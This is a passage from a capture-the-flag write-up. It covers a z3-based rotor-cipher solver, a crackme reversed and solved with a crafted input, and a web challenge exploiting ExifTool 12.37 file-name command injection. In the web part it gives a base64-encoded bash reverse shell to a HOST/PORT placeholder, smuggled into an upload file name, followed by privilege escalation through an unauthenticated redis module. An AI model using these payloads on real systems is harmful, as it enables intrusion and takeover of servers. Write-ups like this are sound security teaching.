"0111": [3, 1, 2, 0], "1000": [3, 0, 1, 2], "1001": [0, 3, 1, 2], "1010": [1, 0, 3, 2], "1011": [0, 1, 3, 2], "1100": [2, 0, 1, 3], "1101": [0, 2, 1, 3], "1110": [1, 0, 2, 3], "1111": [0, 1, 2, 3], } # find all possible values for rotors given a pair: input (= plaintext), output (= ciphertext) def bruteone(i, o): v = [bin(i)[2:].rjust(4, "0") for i in range(16)] alph = "0123456789abcdef" for xor_part, perm_part in it.product(v, v): # xor_part = ''.join([str(rot[0]) for rot in self.rotors[:4]]) # perm_part = ''.join([str(rot[0]) for rot in self.rotors[4:]]) enc = v[int(i, 16)] xored = xor(enc, xor_part) ct = "".join([str(xored[perms[perm_part][l]]) for l in range(4)]) if o == alph[v.index(ct)]: yield xor_part + perm_part # given the rotors and the output (= ciphertext) find input (= plaintext) def bruteflagchar(rotors, o): v = [bin(i)[2:].rjust(4, "0") for i in range(16)] alph = "0123456789abcdef" for c in alph: xor_part = "".join([str(rot[0]) for rot in rotors[:4]]) perm_part = "".join([str(rot[0]) for rot in rotors[4:]]) enc = v[int(c, 16)] xored = xor(enc, xor_part) ct = "".join([str(xored[perms[perm_part][l]]) for l in range(4)]) if o == alph[v.index(ct)]: return c else: assert "Not found!" output = "..." inpt = b"...".hex() ROT_LEN = [47, 53, 59, 61, 64, 65, 67, 69] def solve(perm): assert sorted(perm) == ROT_LEN rot = [] rot_len = perm for i, l in enumerate(rot_len): rot.append([z3.BitVec(f"rot_{i}_{j}", 1) for j in range(l)]) s = z3.Solver() # add all constraints for inp, out in zip(inpt, output): p = [[int(b) for b in x] for x in bruteone(inp, out)] s.add(z3.Or([z3.And([r[0] == b for r, b in zip(rot, bits)]) for bits in p])) update_rotors(rot) # if there is a solution try and decrypt the flag if s.check() != z3.sat: return None model = s.model() rotors = [] for r in rot: rotors.append([str(model[sim].as_long()) for sim in r]) enc = output[len(inpt):] flaghex = "" for e in enc: flaghex += bruteflagchar(rotors, e) update_rotors(rotors) flag = bytes.fromhex(flaghex) if flag.startswith(b"ptm{"): print(flag) return flag return None from multiprocessing import Pool # parallelize solution to make it faster with Pool(2) as p: rv = list(tqdm.tqdm(p.imap(solve, it.permutations(ROT_LEN, 8)), total=factorial(8))) for r in rv: if r: print(r) ``` ## crackme We are presented with a c++ executable that takes a string in input, performs some checks and prints the flag if the input satisfies the constraints. ### The performed checks The logic for the `crackme` binary rewritten in python looks something like that: ```py import random from string import ascii_uppercase inpt = input() # FIRST: check on length assert len(inpt) == 80 # SECOND: check on charset assert all(i in ascii_uppercase for i in inpt) key = [[] for _ in range(5)] for i in range(80): key[i%5].append(inpt[i]) # print(key) # THIRD: keys must differ al least by 4 simbols for k in range(5): for m in range(k + 1, 5): count = 0 for n in range(16): if key[m][n] != key[k][n]: count += 1 if count < 4: print("wrong") exit(0) vals = b'<...a lot of bytes...>' vals = [int.from_bytes(vals[i:i+4], "little") for i in range(0, len(vals)-4)] # FOURTH: a subset of 32bits values taken from the lookup table `vals` at indexes `104*ii + 4*ord(k[ii]) - 260` must xor to 0 for k in key: check = True tmp_vec = [] for ii in range(16): tmp_vec.append(vals[104*ii + 4*ord(k[ii]) - 260]) for jj in range(1000000): xor_sum = 0 random.shuffle(tmp_vec) for kk in range(random.randint(0, 2**32) % 11 + 5): xor_sum ^= tmp_vec[kk] check = check and xor_sum > 0 if check == True: print("wrong") exit(0) print("correct") ``` ### Crafting the payload The most constraining check is the last one, basically we want to find a key (five to be precise) so that a subset of `tmp_vec` when xored together is 0 (subset of size 5 to 16). So we just need to find a 5-tuple of values that xored together give 0 and reverse this formula `104*ii + 4*ord(k[ii]) - 260` in order to generate characters that hit the values found before. This is what we got: ``` **X**WH*UR****** ****O*O****P*I*K *M*****S***NI*B* ******F*U***IR*P M*****I***D*D**U ``` where `*` means that we can put any character in there, to be precise any caracter that passes the fourth check, but that is easy enough. The final payload that we used is: `AAAAMAAMAAXAAAAAAAAAAOAAAWFGHIHOAFIBCSDEUAAUARAAAAAAAADAPNAAAAIIDAIBRCAABAAAKAPU`. ## Placey Simple web application with registration and profile picture upload functionality. When an image is uploaded, precious information can be gathered: `Only image file types are accepted (JPEG, PNG, GIF). Powered by ExifTool 12.37`. This version of ExifTool is vulnerable to RCE. If we input a filename ending with `|`, the command before the pipe symbol will be executed. We can obtain a reverse shell by intercepting the avatar upload POST and changing the filename: ``` filename="$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC9IT1NUL1BPUlQgMD4mMQ== | base64 -d | bash) |" ``` where `YYmFzaCAtaSA+JiAvZGV2L3RjcC9IT1NUL1BPUlQgMD4mMQ==` is the base64 of our reverse shell `bash -i >& /dev/tcp/HOST/PORT 0>&1`. After getting the shell, we realize we cannot simply read the flag situated at `/root/flag.txt` as we are logged in as `appuser` and the file is owned by `root`, in group `redisgroup`. There is a redis instance running on the machine with no authentication. The simplest privesc approach was to load a tainted module inside redis and get RCE as the redis user (https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#load-redis-module). ```bash $ redis-cli 127.0.0.1:6379> system.exec "cat /root/flag.txt" ```